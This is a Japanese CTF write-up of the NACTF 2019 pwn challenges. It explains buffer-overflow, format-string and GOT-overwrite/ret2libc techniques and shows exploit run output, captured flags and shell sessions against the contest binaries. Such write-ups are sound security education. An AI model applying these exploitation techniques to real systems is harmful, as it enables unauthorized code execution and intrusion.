NACTF 2019 writeup
NACTF 2019
yharima
で参加…だけど今回も一人.かつぬるく参加して主に pwn だけに手を出した.
メインでやったのは pwn なので pwn だけ writeup を書く.
今回ソースコードは付いてるが読まない縛りをした.
ソース: https://github.com/yuta1024/ctf_log/tree/master/NACTF_2019
BufferOverflow #0
セグフォを起こすと win
関数が呼ばれて flag が表示される.
というわけで適当に BOF させてあげれば良い.
$ python bufover-0.py [+] Opening connection to shell.2019.nactf.com on port 31475: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31475 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! You win! flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
BufferOverflow #1
単純に BOF があって EIP 奪えるので BOF させて win
関数に飛ぶようにすれば良い.
$ python bufover-1.py [+] Opening connection to shell.2019.nactf.com on port 31462: Done [+] Receiving all data: Done (91B) [*] Closed connection to shell.2019.nactf.com port 31462 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb2\x91\x0! You win! flag: nactf{pwn_31p_0n_r3t_iNylg281}
BufferOverflow #2
BOF があって EIP が奪えて win
関数に飛ばせば良い.
が, win
関数が適切な引数を取る必要があるので引数に取るようにしてあげれば良い.
Hopper で読んでいる感じだと3つ引数を取る必要があって 0x14b4da55
, 0x0
, 0xf00db4be
を順番に取らないとだめっぽい?
$ python bufover-2.py [+] Opening connection to shell.2019.nactf.com on port 31184: Done [+] Receiving all data: Done (101B) [*] Closed connection to shell.2019.nactf.com port 31184 You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0AAAAUڴ\x14! You win! flag: nactf{PwN_th3_4rG5_T0o_Ky3v7Ddg}
Format #0
タイトル通り FSB がある.
フラグ自体は読み込まれていてそのアドレスがスタックに詰まれてるので,そこを表示するようにすれば良い.
$ python format-0.py [+] Opening connection to shell.2019.nactf.com on port 31782: Done [+] Receiving all data: Done (52B) [*] Closed connection to shell.2019.nactf.com port 31782 You typed: nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}
Format #1
次は読み出すのではなく書き換えが必要.
といっても書き換え対象はスタックに詰まれてる.値は 42
にしてあげれば良い.
$ python format-1.py [+] Opening connection to shell.2019.nactf.com on port 31560: Done [+] Receiving all data: Done (98B) [*] Closed connection to shell.2019.nactf.com port 31560 You typed: @ You win! nactf{Pr1ntF_wr1t3s_t0o_rZFCUmba}
Loopy #0
適当な GOT のアドレスを leak させて BOF してもう1回 main を実行させる.
leak したアドレスから libc のベースアドレスを計算して BOF させて system
を実行させれば良い.
$ python loopy-0.py [+] Opening connection to shell.2019.nactf.com on port 31283: Done [+] libc_base_addr = 0xf7d04000 [*] Switching to interactive mode You typed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ $ ls flag.txt loopy-0 $ cat flag.txt nactf{jus7_c411_17_4g41n_AnZPLmjm}
Loopy #1
Loopy #0
と同じだが SSP が有効になっていて BOF させて EIP を自由に操作することはできない.
FSB は健在なのでまず GOT を leak するのと __stack_chk_fail
の GOT を main に書き換える.
適当な GOT をリーク + わざと BOF させて __stack_chk_fail
を呼び出し main を再度呼び出す.
これで1回目は libc のベースアドレスを求めれる.
2回目は libc のベースアドレスを知っているのでなにかの GOT を system に書き換えることはできる.
ただし /bin/sh
を引数に取らないとだめなので自由な値を渡すことができる関数を書き換える必要がある.
printf
は入力を受け取った buffer をそのまま渡してるのでこいつを system に書き換えてあげれば良い.
__stack_chk_fail
はすでに main に書き換えてあるので BOF さえすればまた main から呼び出される.
3回目は特に何かする必要はなく入力に /bin/sh
を食わせてあげれば良い.
$ python loopy-1.py [+] Opening connection to shell.2019.nactf.com on port 31732: Done [+] libc_base_addr = 0xf7d08000 [+] system_addr = 0xf7d46c00 [*] Switching to interactive mode $ ls flag.txt loopy-1 $ cat flag.txt nactf{lo0p_4r0und_th3_G0T_VASfJ4VJ}
まとめ
FSB 利用して exploit を書くのが苦手.32bit なの久々だった.
pwn は全部解けたので良かった.割と教育的な問題だった印象.でも32bitって最近見ないのがどうなのか,と気にはなった.